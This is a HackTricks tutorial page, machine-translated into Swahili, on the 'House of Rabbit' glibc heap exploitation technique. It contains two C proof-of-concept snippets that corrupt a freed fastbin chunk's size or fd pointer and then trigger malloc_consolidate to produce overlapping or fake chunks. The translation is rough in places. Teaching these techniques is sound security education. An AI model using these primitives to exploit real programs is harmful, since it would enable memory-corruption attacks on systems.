House of Rabbit

Reading time: 4 minutes

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Requirements

  1. Uwezo wa kubadilisha fast bin fd pointer au saizi: Hii inamaanisha unaweza kubadilisha pointer ya mbele ya kipande katika fastbin au saizi yake.
  2. Uwezo wa kuchochea malloc_consolidate: Hii inaweza kufanywa kwa kutenga kipande kikubwa au kuunganisha kipande cha juu, ambacho kinawasilisha heap kuunganisha vipande.

Goals

  1. Unda vipande vinavyoshirikiana: Ili kuwa na kipande kimoja kinachoshirikiana na kingine, kuruhusu manipulasi zaidi za heap.
  2. Fanya vipande vya uongo: Ili kumdanganya allocator kut treating kipande cha uongo kama kipande halali wakati wa operesheni za heap.

Steps of the attack

POC 1: Badilisha saizi ya kipande cha fast bin

Objective: Unda kipande kinachoshirikiana kwa kubadilisha saizi ya kipande cha fastbin.

  • Step 1: Tenga Vipande
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x40);  // Allocates another chunk of 0x40 bytes at 0x602050
malloc(0x10);                          // Allocates a small chunk to change the fastbin state

Tunaweka vipande viwili vya 0x40 bytes kila kimoja. Vipande hivi vitakuwa katika orodha ya fast bin mara vitakapokuwa huru.

  • Hatua ya 2: Fungua Vipande
cpp
free(chunk1);  // Frees the chunk at 0x602000
free(chunk2);  // Frees the chunk at 0x602050

Tunaachilia vipande vyote viwili, tukiviweka kwenye orodha ya fastbin.

  • Hatua ya 3: Badilisha Ukubwa wa Kipande
cpp
chunk1[-1] = 0xa1;  // Modify the size of chunk1 to 0xa1 (stored just before the chunk at chunk1[-1])

Tunaweka metadata ya saizi ya chunk1 kuwa 0xa1. Hii ni hatua muhimu ili kumdanganya mtoaji wakati wa kuunganisha.

  • Hatua ya 4: Trigger malloc_consolidate
cpp
malloc(0x1000);  // Allocate a large chunk to trigger heap consolidation

Kuweka sehemu kubwa kunasababisha kazi ya malloc_consolidate, ikichanganya sehemu ndogo katika fast bin. Ukubwa uliofanyiwa mabadiliko wa chunk1 unasababisha iingiliane na chunk2.

Baada ya kuunganishwa, chunk1 inagongana na chunk2, ikiruhusu matumizi zaidi.

POC 2: Badilisha kiashiria cha fd

Lengo: Kuunda sehemu bandia kwa kubadilisha kiashiria cha fast bin fd.

  • Hatua ya 1: Weka Sehemu
cpp
unsigned long* chunk1 = malloc(0x40);  // Allocates a chunk of 0x40 bytes at 0x602000
unsigned long* chunk2 = malloc(0x100); // Allocates a chunk of 0x100 bytes at 0x602050

Maelezo: Tunapanga vipande viwili, kimoja kidogo na kingine kikubwa, ili kuandaa heap kwa ajili ya kipande cha uongo.

  • Hatua ya 2: Unda kipande cha uongo
cpp
chunk2[1] = 0x31;  // Fake chunk size 0x30
chunk2[7] = 0x21;  // Next fake chunk
chunk2[11] = 0x21; // Next-next fake chunk

Tunaandika metadata ya bandia ya chunk ndani ya chunk2 ili kuiga chunks ndogo.

  • Hatua ya 3: Fungua chunk1
cpp
free(chunk1);  // Frees the chunk at 0x602000

Maelezo: Tunachomoa chunk1, tukiongeza kwenye orodha ya fastbin.

  • Hatua ya 4: Badilisha fd ya chunk1
cpp
chunk1[0] = 0x602060;  // Modify the fd of chunk1 to point to the fake chunk within chunk2

Maelezo: Tunabadilisha kiashiria cha mbele (fd) cha chunk1 kuonyesha kwenye kipande chetu cha uongo ndani ya chunk2.

  • Hatua ya 5: Chochea malloc_consolidate
cpp
malloc(5000);  // Allocate a large chunk to trigger heap consolidation

Kuweka kipande kikubwa tena kunasababisha malloc_consolidate, ambayo inashughulikia kipande cha uwongo.

Kipande cha uwongo kinakuwa sehemu ya orodha ya fastbin, na kufanya kuwa kipande halali kwa ajili ya unyakuzi zaidi.

Muhtasari

Mbinu ya House of Rabbit inahusisha ama kubadilisha ukubwa wa kipande cha fast bin ili kuunda vipande vinavyovutana au kudhibiti kiashiria cha fd ili kuunda vipande vya uwongo. Hii inawawezesha washambuliaji kuunda vipande halali katika heap, ikiruhusu aina mbalimbali za unyakuzi. Kuelewa na kufanya mazoezi ya hatua hizi kutaboresha ujuzi wako wa unyakuzi wa heap.

tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks